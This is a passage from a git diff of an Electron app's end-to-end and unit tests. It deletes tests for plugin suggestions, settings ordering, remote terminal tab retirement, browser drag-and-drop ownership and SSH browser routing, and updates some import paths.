it does for a real workbook. - await writeFile(join(workspace, 'book.xlsx'), Buffer.from([0x50, 0x4b, 3, 4, 0, 0, 0, 0])) - await writeFile(join(workspace, 'scene.excalidraw'), '{"type":"excalidraw","elements":[]}\n') - await commitRepository(workspace, gitEnvironment) - // Why realpath: Orca registers the repository by its resolved path, as macOS /var is a link. - return { gitEnvironment, workspace: await realpath(workspace) } -} - -// oxlint-disable-next-line no-empty-pattern -- Playwright passes fixtures before testInfo. -test('suggests catalog plugins for file types and never installs them', async ({}, testInfo) => { - // Why: one Electron launch plus a Git catalog fetch and a plugin page; slower than the 30s default on CI. - test.setTimeout(180_000) - const root = await mkdtemp(join(tmpdir(), 'orca-file-type-suggestion-e2e-')) - const fixture = await createCatalogFixture(root) - const session = createRestartSession(testInfo as TestInfo, fixture.gitEnvironment) - let launched: Awaited> | null = null - try { - launched = await session.launch() - const page = launched.page - await page.evaluate(async () => { - const settings = await window.api.settings.set({ pluginSystemEnabled: true }) - window.__store?.setState({ settings }) - await window.api.plugins.refreshMarketplaces?.({}) - }) - await expect - .poll( - () => - page.evaluate(async () => - (await window.api.plugins.listMarketplacePlugins()).map((entry) => entry.pluginKey) - ), - { timeout: 60_000 } - ) - .toEqual( - expect.arrayContaining([ - SYNTAX_PLUGIN_KEY, - 'stablyai.orca-spreadsheet', - 'stablyai.orca-excalidraw' - ]) - ) - - await attachRepoAndOpenTerminal(page, fixture.workspace) - await openRepoFile(page, fixture.workspace, 'main.gleam') - const banner = page.getByText('A plugin can open .gleam files: Gleam') - await expect(banner).toBeVisible({ timeout: 15_000 }) - - await page.getByRole('button', { name: 'View plugin' }).click() - // Why the page: a suggestion leads to the same one-action install as the catalog, no dialog. - const pluginPage = page.getByRole('article') - await expect(pluginPage.locator('#plugin-detail-heading')).toContainText('Gleam', { - timeout: 30_000 - }) - await expect(page.getByRole('dialog')).toHaveCount(0) - expect( - await page.evaluate(async () => - (await window.api.plugins.list()).map((entry) => entry.pluginKey) - ) - ).not.toContain(SYNTAX_PLUGIN_KEY) - - await page.evaluate(() => window.__store?.getState().closeSettingsPage()) - await page.getByRole('button', { name: "Don't suggest for .gleam" }).click() - await expect(banner).toBeHidden() - await expect - .poll(() => - page.evaluate(() => window.__store?.getState().settings?.pluginDismissedFileTypes) - ) - .toEqual(['gleam']) - - await openRepoFile(page, fixture.workspace, 'book.xlsx') - await expect(page.getByText('A plugin can open .xlsx files: Spreadsheet Viewer')).toBeVisible({ - timeout: 15_000 - }) - await expect(page.getByText('Binary file — cannot display')).toBeVisible() - - await openRepoFile(page, fixture.workspace, 'scene.excalidraw') - const editorBanner = page.getByText('A plugin adds an editor for .excalidraw files: Excalidraw') - await expect(editorBanner).toBeVisible({ timeout: 15_000 }) - // The file still opens as highlighted JSON underneath. - await expect(page.locator('.monaco-editor .view-lines')).toContainText('excalidraw') - await page.getByRole('button', { name: 'Not now' }).click() - await expect(editorBanner).toBeHidden() - } finally { - if (launched) { - await session.close(launched.app) - } - await session.dispose() - await rm(root, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/pr-auto-refresh-setting-order.unit.test.ts b/tests/e2e/pr-auto-refresh-setting-order.unit.test.ts deleted file mode 100644 index b689dab3906..00000000000 --- a/tests/e2e/pr-auto-refresh-setting-order.unit.test.ts +++ /dev/null @@ -1,206 +0,0 @@ -// @vitest-environment happy-dom -import { act, createElement } from 'react' -import { createRoot, type Root } from 'react-dom/client' -import { afterEach, beforeEach, expect, it, vi } from 'vitest' -import type { GlobalSettings } from '../../src/shared/global-settings-types' -import type { RuntimeClientEvent } from '../../src/shared/remote-runtime/session-graph/runtime-client-events' -import { TooltipProvider } from '@/components/ui/tooltip' - -// The host is the real settings controller over an in-memory profile store, publishing its real -// settings-change events; its agent-view reconciliation is a finite step the test releases. The -// client is the real Settings control, host-cadence sync and client-event handler. Between them, -// unary answers travel in the order the host produced them, and can be held at that boundary; the -// event stream is a separate connection, so an event can arrive before a held answer. -const wire = vi.hoisted(() => ({ - call: vi.fn(), - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the fixture starts without a handler and registers this callback shape during mount. - eventHandlers: null as null | { onResponse: (response: unknown) => void }, - reconcile: vi.fn(async () => {}) -})) -vi.mock('@/runtime/rpc/calls/runtime-rpc-call', () => ({ callRuntimeRpc: wire.call })) -vi.mock('@/runtime/rpc/environment-revisions/runtime-environment-pairing-refresh', () => ({ - subscribeRuntimeEnvironment: async ( - _request: unknown, - handlers: { onResponse: (response: unknown) => void } - ) => { - wire.eventHandlers = handlers - return { unsubscribe: () => (wire.eventHandlers = null) } - } -})) -vi.mock('@/store/retained-views/app-state-view', () => ({ - useAppStateValue: (selector: (state: unknown) => unknown) => - selector({ - settingsSearchQuery: '', - runtimeEnvironments: [{ id: 'env-a', name: 'Boston build server' }] - }) -})) -vi.mock('@/store/index', async () => { - const { useStore } = await import('zustand') - const { createStore } = await import('zustand/vanilla') - const store = createStore(() => ({ settingsSearchQuery: '' })) - return { - useAppStore: Object.assign((select: (s: unknown) => unknown) => useStore(store, select), store) - } -}) -vi.mock('../../src/main/telemetry/client', () => ({ track: vi.fn() })) -vi.mock('../../src/main/claude/agent-view/agent-view-service', () => ({ - getClaudeAgentViewService: () => ({ reconcile: wire.reconcile }) -})) -vi.mock('../../src/main/agent-hooks/installation/managed-agent-hook-controls', () => ({ - applyAgentStatusHooksEnabled: vi.fn(async () => {}) -})) - -let root: Root -let container: HTMLDivElement -beforeEach(() => { - globalThis.IS_REACT_ACT_ENVIRONMENT = true - container = document.createElement('div') - document.body.appendChild(container) - root = createRoot(container) -}) -afterEach(async () => { - act(() => root.unmount()) - document.body.replaceChildren() - const { _resetPRAutoRefreshCadencesForTests } = - await import('../../src/shared/source-control/hosted-review/review-refresh-policy') - const { _resetHostPRAutoRefreshCadenceGenerationsForTests } = - await import('../../src/renderer/src/store/github/refresh/remote-host-pr-auto-refresh-cadence') - _resetPRAutoRefreshCadencesForTests() - _resetHostPRAutoRefreshCadenceGenerationsForTests() -}) - -async function host() { - const { getDefaultSettings } = await import('../../src/shared/constants') - const { RuntimeClientSettingsController } = - await import('../../src/main/runtime/client/settings/runtime-client-settings') - const { publishSettingsChanges } = - await import('../../src/main/runtime/client/settings/runtime-settings-change-events') - let settings: GlobalSettings = { ...getDefaultSettings('/home/host'), prAutoRefresh: 'default' } - const listeners = new Set<(updates: Partial, next: GlobalSettings) => void>() - const store = { - getSettings: () => settings, - updateSettings: (updates: Partial, options?: { notifyListeners?: boolean }) => { - settings = { ...settings, ...updates } - if (options?.notifyListeners !== false) { - listeners.forEach((listener) => listener(updates, settings)) - } - }, - onSettingsChanged: ( - listener: (updates: Partial, next: GlobalSettings) => void - ) => { - listeners.add(listener) - return () => listeners.delete(listener) - }, - runDurableMutation: async (mutate: () => T) => mutate() - } - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the controller uses only these store members for settings reads and writes. - const controller = new RuntimeClientSettingsController(store as never) - const events: RuntimeClientEvent[] = [] - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the publisher reads only getSettings and onSettingsChanged. - publishSettingsChanges(store as never, (event) => events.push(event)) - return { controller, events, current: () => settings.prAutoRefresh } -} - -it('converges after a real late write response revokes a later settings event read', async () => { - const { i18n } = await import('../../src/renderer/src/i18n/i18n') - await i18n.changeLanguage('en') - const H = await host() - // Answers leave the host as it produces them; while `held`, they wait at the connection. - const answers: { result: unknown; deliver: (result: unknown) => void }[] = [] - let held = false - const pump = () => { - while (!held && answers.length > 0) { - const answer = answers.shift()! - answer.deliver(answer.result) - } - } - const produced: Record = { update: [], get: [] } - wire.call.mockImplementation( - (_target: unknown, method: string, params?: Pick) => - new Promise((deliver) => { - const answer = - method === 'settings.update' - ? H.controller.update({ prAutoRefresh: params!.prAutoRefresh }) - : Promise.resolve(H.controller.get()) - void answer.then((settings) => { - produced[method === 'settings.update' ? 'update' : 'get'].push(settings.prAutoRefresh) - answers.push({ result: { settings }, deliver }) - pump() - }) - }) - ) - const deliverEvents = () => { - for (const event of H.events.splice(0)) { - wire.eventHandlers?.onResponse({ id: 'events', ok: true, result: event }) - } - } - const { subscribeRuntimeClientEvents } = - await import('../../src/renderer/src/runtime/rpc/subscriptions/runtime-client-events') - const { _hostPRAutoRefreshReadsInFlightForTests } = - await import('../../src/renderer/src/store/github/refresh/remote-host-pr-auto-refresh-cadence-sync') - const { getKnownPRAutoRefreshCadenceForHost } = - await import('../../src/shared/source-control/hosted-review/review-refresh-policy') - const { PRAutoRefreshSetting } = - await import('../../src/renderer/src/components/settings/source-control/PRAutoRefreshSetting') - const subscription = await subscribeRuntimeClientEvents('env-a', () => {}) - await act(async () => - root.render( - createElement( - TooltipProvider, - null, - createElement(PRAutoRefreshSetting, { - hostScope: { target: { kind: 'environment', environmentId: 'env-a' }, available: true }, - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: a remote host never reads the local settings. - settings: {} as never, - updateSettings: () => {} - }) - ) - ) - ) - await act(async () => {}) - const options = () => - Array.from(container.querySelectorAll('button[role="radio"]')) - const selected = () => - options().findIndex((button) => button.getAttribute('aria-checked') === 'true') - expect(selected()).toBe(0) - - // 1. This client chooses Reduced (A). The host writes it and announces it (EA) while its - // agent-view reconciliation is still running; EA's read (RA) answers Reduced meanwhile. - const reconciliation = Promise.withResolvers() - wire.reconcile.mockImplementationOnce(() => reconciliation.promise) - const reduced = options()[1] - await act(async () => reduced.click()) - await act(async () => deliverEvents()) - await act(async () => {}) - expect(produced.get).toEqual(['default', 'reduced']) - - // 2. Reconciliation ends; A's answer (the host's value then: Reduced) waits at the connection. - held = true - await act(async () => reconciliation.resolve()) - await act(async () => {}) - expect(produced.update).toEqual(['reduced']) - - // 3. Another client sets Off (B). Its event (EB) reaches this client on the event connection and - // starts a read (RB), whose answer (Off) queues behind A's. - await act(async () => { - await H.controller.update({ prAutoRefresh: 'off' }) - deliverEvents() - }) - await act(async () => {}) - expect(H.current()).toBe('off') - expect(_hostPRAutoRefreshReadsInFlightForTests()).toBe(1) - - // 4. The connection delivers A, then RB, in the order the host produced them. - held = false - await act(async () => pump()) - for (let turn = 0; turn < 5; turn += 1) { - await act(async () => {}) - } - - expect(produced.update).toEqual(['reduced']) - expect(produced.get.slice(0, 3)).toEqual(['default', 'reduced', 'off']) - expect(getKnownPRAutoRefreshCadenceForHost('env-a')).toBe('off') - expect(selected()).toBe(2) - expect(_hostPRAutoRefreshReadsInFlightForTests()).toBe(0) - subscription.unsubscribe() -}) diff --git a/tests/e2e/remote-terminal-tab-retirement.unit.test.ts b/tests/e2e/remote-terminal-tab-retirement.unit.test.ts deleted file mode 100644 index 777a5acbdca..00000000000 --- a/tests/e2e/remote-terminal-tab-retirement.unit.test.ts +++ /dev/null @@ -1,215 +0,0 @@ -import { acceptedAgentStatuses } from '@/store/slices/agent-status/accepted-agent-statuses' -import { beforeEach, describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../src/shared/constants' -import type { RuntimeMobileSessionTabsSnapshot } from '../../src/shared/remote-runtime/session-graph/runtime-session-contracts' -import type { WorkspaceSessionState } from '../../src/shared/workspace-session/workspace-session-state-types' -import { acceptReplayedWebSessionTabsSnapshot } from '../../src/renderer/src/runtime/web-session-tabs-sync/state' -import { resetWebSessionTabsSnapshotFreshnessForTests } from '../../src/renderer/src/runtime/web-session-tabs-sync/tracking-lifecycle' -import { applyWebSessionTabsSnapshot } from '../../src/renderer/src/runtime/web-session-tabs-sync/snapshot-api' -import { shouldApplyWebSessionTabsSnapshot } from '../../src/renderer/src/runtime/web-session-tabs-sync/tracking-decisions' -import type { WebSessionTabsSyncState } from '../../src/renderer/src/runtime/web-session-tabs-sync/state' -import { OrcaRuntimeService } from '../../src/main/runtime/orca-runtime' -import { withDurableRuntimeStore } from '../../src/main/runtime/orca-runtime-tests/runtime-durable-store-fixture' - -vi.mock('../../src/renderer/src/store', () => ({ - useAppStore: { setState: vi.fn() } -})) - -const WORKTREE_ID = 'repo::/remote-worktree' -const TAB_ID = 'host-terminal' -const LEAF_ID = 'terminal-leaf' -const PTY_ID = 'remote-pty' -const INCARNATION_ID = 'remote-pty-incarnation' -const VIEWER_IDS = ['paired-desktop-a', 'paired-desktop-b'] as const - -function makeViewerState(): WebSessionTabsSyncState { - return { - activeBrowserTabId: null, - activeBrowserTabIdByWorktree: {}, - activeFileId: null, - activeFileIdByWorktree: {}, - activeGroupIdByWorktree: {}, - activeTabId: null, - activeTabIdByWorktree: {}, - activeTabType: 'terminal', - activeTabTypeByWorktree: {}, - activeWorktreeId: WORKTREE_ID, - agentStatusByPaneKey: acceptedAgentStatuses(Object.entries({})), - agentStatusEpoch: 0, - browserCertificateFailuresByPageId: {}, - browserPagesByWorkspace: {}, - browserTabsByWorktree: {}, - groupsByWorktree: {}, - layoutByWorktree: {}, - openFiles: [], - editorBuffers: {}, - ptyIdsByTabId: {}, - remoteBrowserPageHandlesByPageId: {}, - tabBarOrderByWorktree: {}, - tabsByWorktree: {}, - terminalLayoutsByTabId: {}, - unifiedTabsByWorktree: {}, - unreadTerminalTabs: {}, - sortEpoch: 0 - } -} - -function makeHostSnapshot(): RuntimeMobileSessionTabsSnapshot { - const parentLayout = { - root: { type: 'leaf' as const, leafId: LEAF_ID }, - activeLeafId: LEAF_ID, - expandedLeafId: null, - ptyIdsByLeafId: { [LEAF_ID]: PTY_ID } - } - return { - worktree: WORKTREE_ID, - publicationEpoch: 'host-publication', - snapshotVersion: 1, - activeGroupId: 'host-group', - activeTabId: `${TAB_ID}::${LEAF_ID}`, - activeTabType: 'terminal', - tabGroups: [{ id: 'host-group', activeTabId: TAB_ID, tabOrder: [TAB_ID] }], - tabs: [ - { - type: 'terminal', - id: `${TAB_ID}::${LEAF_ID}`, - parentTabId: TAB_ID, - leafId: LEAF_ID, - ptyId: PTY_ID, - title: 'Pinned remote agent', - launchAgent: 'claude', - isPinned: true, - parentLayout, - isActive: true - } - ] - } -} - -function makePersistedSession(): WorkspaceSessionState { - return { - ...getDefaultWorkspaceSession(), - tabsByWorktree: { - [WORKTREE_ID]: [ - { - id: TAB_ID, - ptyId: PTY_ID, - worktreeId: WORKTREE_ID, - title: 'Pinned remote agent', - customTitle: null, - color: null, - sortOrder: 0, - createdAt: 1, - isPinned: true - } - ] - }, - terminalLayoutsByTabId: { - [TAB_ID]: { - root: { type: 'leaf', leafId: LEAF_ID }, - activeLeafId: LEAF_ID, - expandedLeafId: null, - ptyIdsByLeafId: { [LEAF_ID]: PTY_ID } - } - }, - sleepingAgentSessionsByPaneKey: { [`${TAB_ID}:${LEAF_ID}`]: {} as never } - } -} - -function reconcileViewer( - state: WebSessionTabsSyncState, - snapshot: Parameters[1], - viewerId: string -): WebSessionTabsSyncState { - return { ...state, ...applyWebSessionTabsSnapshot(state, snapshot, viewerId) } -} - -describe('remote terminal tab retirement publication', () => { - beforeEach(() => resetWebSessionTabsSnapshotFreshnessForTests()) - - it('removes a permanent host exit from simultaneous viewers without stale resurrection', async () => { - let session = makePersistedSession() - const flushOrThrow = vi.fn() - const store = withDurableRuntimeStore({ - getWorkspaceSession: () => session, - setWorkspaceSession: (next: WorkspaceSessionState) => { - session = next - }, - flushOrThrow - }) - const runtime = new OrcaRuntimeService( - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: This retirement fixture implements the Store session and durability operations used by the runtime. - store as never - ) - runtime.attachWindow(1) - const staleLiveSnapshot = makeHostSnapshot() - await runtime.syncWindowGraph(1, { - tabs: [ - { - tabId: TAB_ID, - worktreeId: WORKTREE_ID, - title: 'Pinned remote agent', - activeLeafId: LEAF_ID, - layout: { type: 'leaf', leafId: LEAF_ID } - } - ], - leaves: [ - { - tabId: TAB_ID, - worktreeId: WORKTREE_ID, - leafId: LEAF_ID, - paneRuntimeId: 1, - ptyId: PTY_ID - } - ], - mobileSessionTabs: [staleLiveSnapshot] - }) - runtime.registerPty(PTY_ID, WORKTREE_ID, null, { - tabId: TAB_ID, - leafId: LEAF_ID, - incarnationId: INCARNATION_ID - }) - - const livePublication = await runtime.listMobileSessionTabs(`id:${WORKTREE_ID}`) - const viewerStates = new Map() - for (const viewerId of VIEWER_IDS) { - expect(shouldApplyWebSessionTabsSnapshot(livePublication, viewerId)).toBe(true) - viewerStates.set(viewerId, reconcileViewer(makeViewerState(), livePublication, viewerId)) - } - expect( - [...viewerStates.values()].every((state) => state.tabsByWorktree[WORKTREE_ID]?.[0]?.ptyId) - ).toBe(true) - - const publications: (typeof livePublication)[] = [] - const unsubscribe = runtime.onMobileSessionTabsChanged((event) => publications.push(event)) - await runtime.onPtyExit(PTY_ID, 0, INCARNATION_ID) - const retiredPublication = publications.at(-1) - expect(retiredPublication).toBeDefined() - if (!retiredPublication) { - throw new Error('host did not publish terminal retirement') - } - expect(publications).toHaveLength(1) - expect(retiredPublication.publicationEpoch).toBe(livePublication.publicationEpoch) - expect(retiredPublication.snapshotVersion).toBeGreaterThan(livePublication.snapshotVersion) - expect(retiredPublication.tabs).toEqual([]) - expect(flushOrThrow).toHaveBeenCalledOnce() - expect(session.tabsByWorktree[WORKTREE_ID]).toEqual([]) - expect(session.terminalLayoutsByTabId[TAB_ID]).toBeUndefined() - - for (const viewerId of VIEWER_IDS) { - const current = viewerStates.get(viewerId)! - expect(shouldApplyWebSessionTabsSnapshot(retiredPublication, viewerId)).toBe(true) - const retired = reconcileViewer(current, retiredPublication, viewerId) - expect(retired.tabsByWorktree[WORKTREE_ID] ?? []).toEqual([]) - expect(shouldApplyWebSessionTabsSnapshot(livePublication, viewerId)).toBe(false) - - acceptReplayedWebSessionTabsSnapshot(viewerId, WORKTREE_ID) - expect(shouldApplyWebSessionTabsSnapshot(livePublication, viewerId)).toBe(false) - expect(shouldApplyWebSessionTabsSnapshot(retiredPublication, viewerId)).toBe(true) - const replayed = reconcileViewer(retired, retiredPublication, viewerId) - expect(replayed.tabsByWorktree[WORKTREE_ID] ?? []).toEqual([]) - expect(shouldApplyWebSessionTabsSnapshot(livePublication, viewerId)).toBe(false) - } - unsubscribe() - }) -}) diff --git a/tests/e2e/session-tabs/mobile-session-legacy-navigation.unit.test.ts b/tests/e2e/session-tabs/mobile-session-legacy-navigation.unit.test.ts index 1c12102ae0a..30ba99d5457 100644 --- a/tests/e2e/session-tabs/mobile-session-legacy-navigation.unit.test.ts +++ b/tests/e2e/session-tabs/mobile-session-legacy-navigation.unit.test.ts @@ -11,7 +11,7 @@ import type { RuntimeMobileSessionTabsSnapshot } from '../../../src/shared/remote-runtime/session-graph/runtime-session-contracts' import { electronMocks } from '../../../src/main/runtime/orca-runtime-test-mocks/setup.spec' -import { getDefaultWorkspaceSession } from '../../../src/shared/constants' +import { getDefaultWorkspaceSession } from '../../../src/shared/orca-profiles/constants' const list = (runtime: OrcaRuntimeService) => runtime.listMobileSessionTabs(`id:${WT}`) diff --git a/tests/e2e/settings-agent-awake.spec.ts b/tests/e2e/settings-agent-awake.spec.ts index 4c6cb46fb52..ff2f35d187a 100644 --- a/tests/e2e/settings-agent-awake.spec.ts +++ b/tests/e2e/settings-agent-awake.spec.ts @@ -3,7 +3,7 @@ import { runProcess } from '@orca/process-host' import type { ElectronApplication, Page } from '@stablyai/playwright-test' import { test, expect } from './helpers/orca-app' import { waitForSessionReady } from './helpers/store' -import type { GlobalSettings } from '../../src/shared/global-settings-types' +import type { GlobalSettings } from '../../src/shared/settings/global-settings-types' import { readHookEndpoint } from './helpers/agent-hook-endpoint' type AwakeProbeSnapshot = { diff --git a/tests/e2e/ssh-orcad-browser-drop-owner.spec.ts b/tests/e2e/ssh-orcad-browser-drop-owner.spec.ts deleted file mode 100644 index 0e51f88bcbe..00000000000 --- a/tests/e2e/ssh-orcad-browser-drop-owner.spec.ts +++ /dev/null @@ -1,178 +0,0 @@ -import { writeFileSync } from 'node:fs' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { serverCall } from './helpers/orcad-convert-flow' -import { dismissTransientAnnouncement } from './helpers/ssh-config-host-picker' -import { openFileExplorer } from './helpers/file-explorer' -import { startBrowserSplitPageServer } from './helpers/browser-split-page-server' -import { - launchConvertedProfile, - skipUnlessManagedDockerHost, - withManagedHost -} from './helpers/orcad-managed-workspace' -import { - navigateGuest, - waitForGuestUrl, - waitForGuestIdle -} from './helpers/browser-split-guest-probes' -import { toRuntimeExecutionHostId } from '../../src/shared/execution-host' -import { getWorktreeHostIdentity } from '../../src/shared/worktree/host-qualified-identity' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' - -skipUnlessManagedDockerHost() -test.skip(process.platform === 'win32', 'Owned POSIX host collision fixture') - -async function dropExplorerFile(page: Page, name: string, tabId: string) { - const row = page.locator('[data-file-explorer-row]').filter({ hasText: name }) - await expect(row).toBeVisible() - return row.evaluate((element, browserTabId) => { - const webview = document.querySelector( - `[data-browser-overlay-tab-id="${browserTabId}"] webview` - ) - if (!webview || !webview.parentElement) { - throw new Error('Missing actual guest container') - } - const dataTransfer = new DataTransfer() - element.dispatchEvent(new DragEvent('dragstart', { bubbles: true, dataTransfer })) - const payload = Object.fromEntries( - [...dataTransfer.types].map((type) => [type, dataTransfer.getData(type)]) - ) - const rect = webview.getBoundingClientRect() - if (rect.width < 1 || rect.height < 1) { - throw new Error('Actual guest has no drop surface') - } - webview.parentElement.dispatchEvent( - new DragEvent('drop', { - bubbles: true, - cancelable: true, - dataTransfer, - clientX: rect.left + rect.width / 2, - clientY: rect.top + rect.height / 2 - }) - ) - element.dispatchEvent(new DragEvent('dragend', { bubbles: true, dataTransfer })) - return payload - }, tabId) -} - -async function guestText(page: Page, tabId: string) { - return page.evaluate(async (id) => { - const webview = document.querySelector( - `[data-browser-overlay-tab-id="${id}"] webview` - ) - if (!webview) { - throw new Error('Missing actual guest') - } - return { - url: webview.getURL(), - text: await webview.executeJavaScript('document.body.innerText') - } - }, tabId) -} - -test('managed Files drag cannot load a desktop same-path HTML file', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(4 * 60_000) - const fileName = 'DROP_OWNER.html' - const filePath = path.join(testRepoPath, fileName) - writeFileSync(filePath, 'DESKTOP_BROWSER_DROP_OWNER') - const server = await startBrowserSplitPageServer() - await withManagedHost(testInfo, async (fixture) => { - const { host } = fixture - if (!host.exec) { - throw new Error('Missing owned host control') - } - host.exec( - `mkdir -p ${quotePosixShell(path.dirname(testRepoPath))} && git clone --quiet ${quotePosixShell(host.remoteRepoPath)} ${quotePosixShell(testRepoPath)} && printf '%s' 'REMOTE_BROWSER_DROP_OWNER' > ${quotePosixShell(filePath)}` - ) - host.exec( - `printf '%s' REMOTE_DROP_READY > ${quotePosixShell(path.join(testRepoPath, 'REMOTE_DROP_READY.txt'))}` - ) - let nativeId = '' - const { page, seeded, environmentId } = await launchConvertedProfile(fixture, { - repoPath: testRepoPath, - beforeSeed: async (page) => { - nativeId = await page.evaluate(async (repoPath) => { - const result = await window.api.repos.add({ path: repoPath }) - if ('error' in result) { - throw new Error(result.error) - } - return `${result.repo.id}::${repoPath}` - }, testRepoPath) - } - }) - await dismissTransientAnnouncement(page) - const nativeIdentity = getWorktreeHostIdentity({ id: nativeId, hostId: 'local' }) - await page.locator(`[data-worktree-host-identity="${nativeIdentity}"]:visible`).click() - await openFileExplorer(page) - const floatingId = await page.evaluate( - (url) => { - const store = window.__store - const state = store?.getState() - if (!store || !state?.settings) { - throw new Error('Missing ready settings') - } - store.setState({ settings: { ...state.settings, floatingTerminalEnabled: true } }) - const tab = store.getState().createBrowserTab('global-floating-terminal', url, { - activate: true, - focusAddressBar: false, - targetGroupId: state.ensureWorktreeRootGroup('global-floating-terminal'), - browserRuntimeEnvironmentId: null - }) - return tab.id - }, - server.pageUrl('float', 1) - ) - await expect(page.locator('[data-floating-terminal-panel]')).toHaveCount(1) - if ((await page.locator('[data-floating-terminal-panel][aria-hidden="false"]').count()) === 0) { - await page.evaluate(() => window.dispatchEvent(new Event('orca-toggle-floating-terminal'))) - } - await expect(page.locator(`[data-browser-overlay-tab-id="${floatingId}"]`)).toBeVisible() - await waitForGuestUrl(page, floatingId, server.pageUrl('float', 1)) - console.log('[native-actual-drag-payload]', await dropExplorerFile(page, fileName, floatingId)) - await expect - .poll(async () => (await guestText(page, floatingId)).text) - .toContain('DESKTOP_BROWSER_DROP_OWNER') - console.log('[native-positive-actual-guest]', await guestText(page, floatingId)) - await navigateGuest(page, floatingId, server.pageUrl('float', 2)) - await waitForGuestIdle(page, floatingId) - const remoteIdentity = getWorktreeHostIdentity({ - id: seeded.worktreeId, - hostId: toRuntimeExecutionHostId(environmentId) - }) - await page.locator(`[data-worktree-host-identity="${remoteIdentity}"]:visible`).click() - await openFileExplorer(page) - await page.getByRole('button', { name: 'Refresh Explorer', exact: true }).click() - await expect( - page.locator('[data-file-explorer-row]').filter({ hasText: 'REMOTE_DROP_READY.txt' }) - ).toBeVisible() - expect( - await page.evaluate(() => window.__store?.getState().activeWorkspaceExecutionHostId) - ).toBe(toRuntimeExecutionHostId(environmentId)) - console.log( - '[independent-managed-source]', - await serverCall(page, environmentId, 'files.read', { - worktree: `id:${seeded.worktreeId}`, - relativePath: fileName - }) - ) - const remotePayload = await dropExplorerFile(page, fileName, floatingId) - console.log('[managed-actual-drag-payload]', remotePayload) - expect( - JSON.parse(remotePayload['application/x-orca-workspace-file-source'] ?? '{}') - ).toMatchObject({ - executionHostId: toRuntimeExecutionHostId(environmentId), - workspaceId: seeded.worktreeId - }) - await waitForGuestIdle(page, floatingId) - console.log('[managed-drop-actual-guest]', await guestText(page, floatingId)) - await page.screenshot({ path: testInfo.outputPath('managed-browser-drop-owner.png') }) - expect((await guestText(page, floatingId)).text).not.toContain('DESKTOP_BROWSER_DROP_OWNER') - await expect( - page.getByText('Open in Orca Browser is only available for local files.', { exact: true }) - ).toBeVisible() - expect((await guestText(page, floatingId)).url).toBe(server.pageUrl('float', 2)) - }).finally(() => server.close()) -}) diff --git a/tests/e2e/ssh-orcad-browser-routing.spec.ts b/tests/e2e/ssh-orcad-browser-routing.spec.ts deleted file mode 100644 index 397c5809dd2..00000000000 --- a/tests/e2e/ssh-orcad-browser-routing.spec.ts +++ /dev/null @@ -1,372 +0,0 @@ -import { cpSync, rmSync } from 'node:fs' -import path from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { createRestartSession } from './helpers/orca-restart' -import { waitForSessionReady, waitForStartupWorktreeRefresh } from './helpers/store' -import { - cleanupDockerSshHostTarget, - DOCKER_SSH_HOST_REMOTE_REPO_PATH, - startDockerSshHostTarget -} from './helpers/docker-ssh-host-target' -import { seedRelayEraProfile } from './helpers/orcad-upgrade-profile' -import { - startSshRemoteOnlyBrowserFixture, - readSshRemoteOnlyRequests, - SSH_REMOTE_ONLY_ORIGIN, - SSH_REMOTE_ONLY_COOKIE_NAME, - SSH_REMOTE_ONLY_COOKIE_VALUE -} from './helpers/ssh-remote-only-browser-fixture' -import { createRetentionFixtureDirectory } from './helpers/host-created-terminal-retention-oracle' -import { toSshExecutionHostId } from '../../src/shared/execution-host' -import { DEFAULT_LOCAL_ORCA_PROFILE_ID } from '../../src/shared/orca-profiles/orca-profiles' -import { deriveBrowserRoutePartition } from '../../src/main/browser/routing/partitions/browser-route-identity' -import { sshExecutionHostStorageIdentity } from '../../src/main/browser/routing/identity/browser-execution-host-storage-identity' -import { reconnect } from './helpers/orcad-convert-flow' -import { navigateGuest } from './helpers/browser-split-guest-probes' -import { ORCAD_TEMPLATE, skipUnlessManagedDockerHost } from './helpers/orcad-managed-workspace' -import { getOrcadSshDeployment } from '../../src/shared/remote-runtime/host-catalog/runtime-environments' - -skipUnlessManagedDockerHost() - -/** The partition a relay-era build kept this host's browser storage in (local-ssh-browser-partitions). */ -function relayEraPartition(targetId: string): string { - return deriveBrowserRoutePartition({ - orcaProfileId: DEFAULT_LOCAL_ORCA_PROFILE_ID, - browserProfileId: 'default', - authorityConnectionIdentity: JSON.stringify([ - 'orca-local-ssh-browser', - 1, - DEFAULT_LOCAL_ORCA_PROFILE_ID - ]), - executionHostIdentity: sshExecutionHostStorageIdentity(targetId) - }).partition -} - -async function guestMarker(page: Page, tabId: string): Promise { - return page.evaluate(async (id) => { - const guest = document.querySelector( - `[data-browser-overlay-tab-id="${id}"] webview` - ) - try { - return await guest?.executeJavaScript('document.querySelector("#marker")?.textContent') - } catch { - return null - } - }, tabId) -} - -test('retained and new browser tabs keep SSH routing and login cookies after managed conversion', async (// oxlint-disable-next-line no-empty-pattern -- Owns app launch. -{}, testInfo) => { - test.setTimeout(5 * 60_000) - const target = startDockerSshHostTarget(testInfo) - const scratch = createRetentionFixtureDirectory() - const template = path.join(scratch, 'template') - const session = createRestartSession(testInfo, { ORCA_ORCAD_TEMPLATE_PATH: template }) - let app: ElectronApplication | null = null - try { - startSshRemoteOnlyBrowserFixture(target) - // The first launch only creates the profile the relay-era host is saved into. - const first = await session.launch() - app = first.app - await waitForSessionReady(first.page) - await session.close(first.app) - app = null - const remote = seedRelayEraProfile( - session.userDataDir, - { - label: `orcad browser routing E2E ${Date.now()}`, - host: target.host, - port: target.port, - username: 'root', - identityFile: target.identityFile, - identitiesOnly: true, - relayGracePeriodSeconds: 1 - }, - { repoPath: DOCKER_SSH_HOST_REMOTE_REPO_PATH, folderPath: '/tmp' } - ) - const launched = await session.launch() - app = launched.app - const page = launched.page - await waitForSessionReady(page) - // The browser tab a relay-era build left open on the saved host, never connected this launch. - const tabId = await page.evaluate( - ({ worktreeId, url }) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Missing store') - } - // Not shown yet: it mounts once the user opens 